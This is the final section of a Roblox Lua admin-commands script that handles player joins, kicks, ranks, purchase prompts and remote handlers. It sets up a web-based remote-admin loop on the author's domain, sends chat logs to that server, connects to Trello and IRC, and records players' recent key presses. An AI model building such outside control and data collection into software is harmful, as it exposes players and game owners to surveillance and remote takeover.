8896 for _,Person in pairs(Server.Players:GetPlayers()) do
8897 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8898 end
8899 end
8900 end
8901 if Settings.ServerLocked == true then
8902 if PlayerAdmin == false then
8903 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8904 end
8905 end
8906
8907 if PlayerAdmin == false then
8908 if Player.AccountAge < Settings.MinimumAge then
8909 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8910 for _,Person in pairs(Server.Players:GetPlayers()) do
8911 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8912 end
8913 end
8914 end
8915
8916 if PlayerAdmin == false then
8917 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8918 table.insert(Settings.Ranks["Member"], Player.Name)
8919 PlayerAdmin = true
8920 Rank = "Member"
8921 end
8922 end
8923
8924 coroutine.wrap(function()
8925 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8926 local function SpawnActions(Character)
8927 if Flings[Player.Name] then
8928 CORE:FlingPlayer(Player)
8929 else
8930 GUI:CreateTaskBar(Player)
8931 end
8932 if Beeps[Player.Name] == true then
8933 SOUND:BeepPlayer(Player)
8934 end
8935 if Jails[Player.Name] then
8936 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8937 end
8938 if PermCommandBars[Player.Name] then
8939 GUI:CommandBar(Player)
8940 end
8941 end
8942 Player.CharacterAdded:connect(SpawnActions)
8943 SpawnActions(Player.Character)
8944 end)()
8945
8946 coroutine.wrap(function()
8947 Player:WaitForChild("PlayerGui")
8948 local Sounds = {}
8949 for _,Data in pairs(TextConverter.LetterSounds) do
8950 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8951 Sound:Play()
8952 table.insert(Sounds, Sound)
8953 end
8954 for _,Data in pairs(TextConverter.LongVowels) do
8955 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8956 Sound:Play()
8957 table.insert(Sounds, Sound)
8958 end
8959 wait(5)
8960 for _,Sound in pairs(Sounds) do
8961 Sound:Destroy()
8962 end
8963 Sounds = {}
8964 end)()
8965
8966 coroutine.wrap(function()
8967 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8968 if IsSB then
8969 wait(1)
8970 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8971 end
8972 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8973 print("Executed ClientLog on "..Player.Name)
8974 if Settings.EnableTaskBar then
8975 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8976 end
8977 end)()
8978
8979 coroutine.wrap(function()
8980 wait(7)
8981 Player:WaitForChild("PlayerGui")
8982 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8983 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8984 if Answer == "Ok" then
8985 MARKET:PromptPurchase(Player, AdminID)
8986 end
8987 end
8988 end)()
8989 end
8990end)() end
8991
8992-- Active stuff --
8993
8994CORE:UpdateAdmin()
8995CORE:FixSettings()
8996
8997ypcall(function()
8998 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8999 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9000 end
9001end)
9002
9003
9004Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9005 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9006 if PlayerAdmin == false then
9007 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9008 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9009 end
9010end end)
9011
9012--[[
9013ExecuteCommand.OnInvoke = function(Player, Command)
9014 if Player and Command then
9015 if type(Player) == "userdata" and Player:IsA("Player") then
9016 CORE:Chatted(Command, Player, true)
9017 end
9018 end
9019end
9020
9021ExecuteCode.OnInvoke = function(Source, Speaker)
9022 if type(Source) == "string" then
9023 ExecuteSafe(Source, Speaker)
9024 end
9025end
9026
9027ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9028 if Player and Command then
9029 if type(Player) == "userdata" and Player:IsA("Player") then
9030 CORE:Chatted(Command, Player, true)
9031 end
9032 end
9033end
9034]]
9035
9036KeyPressed.OnServerInvoke = function(Player, Key)
9037 if Player and Key then
9038 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9039 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9040 end
9041 end
9042end
9043
9044InputKey.OnServerInvoke = function(Player, KeyVal)
9045 if Player and KeyVal then
9046 if LastKeys[Player.UserId] then
9047 table.insert(LastKeys[Player.UserId], KeyVal)
9048 if #LastKeys[Player.UserId] > 20 then
9049 table.remove(LastKeys[Player.UserId], 1)
9050 end
9051 end
9052 end
9053end
9054
9055RankPlayerLocal.OnServerInvoke = function(Player)
9056 wait()
9057 local Request = PendingRequests[Player]
9058 if Request then
9059 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9060 if Settings.Ranks[Request[1]] then
9061 PendingRequests[Player] = nil
9062 table.insert(Settings.Ranks[Request[1]], Player.Name)
9063 GUI:TellAdmin(Player)
9064 end
9065 end
9066 end
9067end
9068
9069RankPlayerServer.OnInvoke = function(Player, Rank)
9070 if not RANK:IsAdmin(Player) then
9071 PendingRequests[Player] = {Rank, tick()}
9072 end
9073end
9074
9075IsAdmin.OnServerInvoke = function(Player)
9076 local IsFullAdmin = false
9077 for _,PName in pairs(Settings.Ranks["Owner"]) do
9078 if PName == Player.Name then IsFullAdmin = true end
9079 end
9080 for _,PName in pairs(Settings.Ranks["Admin"]) do
9081 if PName == Player.Name then IsFullAdmin = true end
9082 end
9083 return IsFullAdmin
9084end
9085
9086AddExploit.OnServerInvoke = CORE.AddExploit
9087AddExploitServer.OnInvoke = CORE.AddExploit
9088
9089KickClient.OnServerInvoke = function(PlayerClient)
9090 PlayerClient:Kick()
9091end
9092
9093ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9094 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9095end
9096
9097for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9098Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9099Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9100
9101coroutine.wrap(function()
9102 for _,ID in pairs(Icons) do
9103 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9104 end
9105end)()
9106
9107CORE:SetAbuseCommands()
9108
9109coroutine.wrap(function() SOUND:SyncSoundList() end)()
9110if not IsStudio then coroutine.wrap(function()
9111 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9112 REMOTE:GetRemoteData(true)
9113 REMOTE:CheckTrelloInfo()
9114 coroutine.wrap(function()
9115 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9116 REMOTE.RemoteConnection = true
9117 end
9118 end)()
9119 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9120 coroutine.wrap(function()
9121 if Settings.LinkedAccount ~= "" then
9122 local Request = nil
9123 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9124 if Request then
9125 REMOTE:HandleRequest(Request, true)
9126 end
9127 end
9128 end)()
9129 coroutine.wrap(function()
9130 wait(RemoteData.RemoteAdminWait)
9131 while REMOTE:GetAndSetWebData() do
9132 wait(RemoteData.RemoteAdminWait)
9133 end
9134 end)()
9135 coroutine.wrap(function()
9136 while wait(60) do
9137 REMOTE:GetRemoteData(true)
9138 REMOTE:CheckTrelloInfo()
9139 end
9140 end)()
9141end)() end
9142coroutine.wrap(function()
9143 if Settings.TrelloToken ~= "" then
9144 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9145 if #Trello.RequiredLists > 0 then
9146 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9147 if Trello.MainBoard.name then
9148 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9149 REMOTE:TrelloCacheData(Lists)
9150 REMOTE:TrelloHandleData(true)
9151 coroutine.wrap(function()
9152 wait(RemoteData.TrelloWait)
9153 while REMOTE:TrelloHandleData() do
9154 wait(RemoteData.TrelloWait)
9155 end
9156 end)()
9157 end
9158 end
9159 else
9160 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9161 end
9162end)()
9163coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9164 REMOTE:SendChatLog()
9165end end)()
9166coroutine.wrap(function() while true do
9167 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9168 if ThisDate then Date = ThisDate end
9169 wait(600)
9170end end)()
9171
9172print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")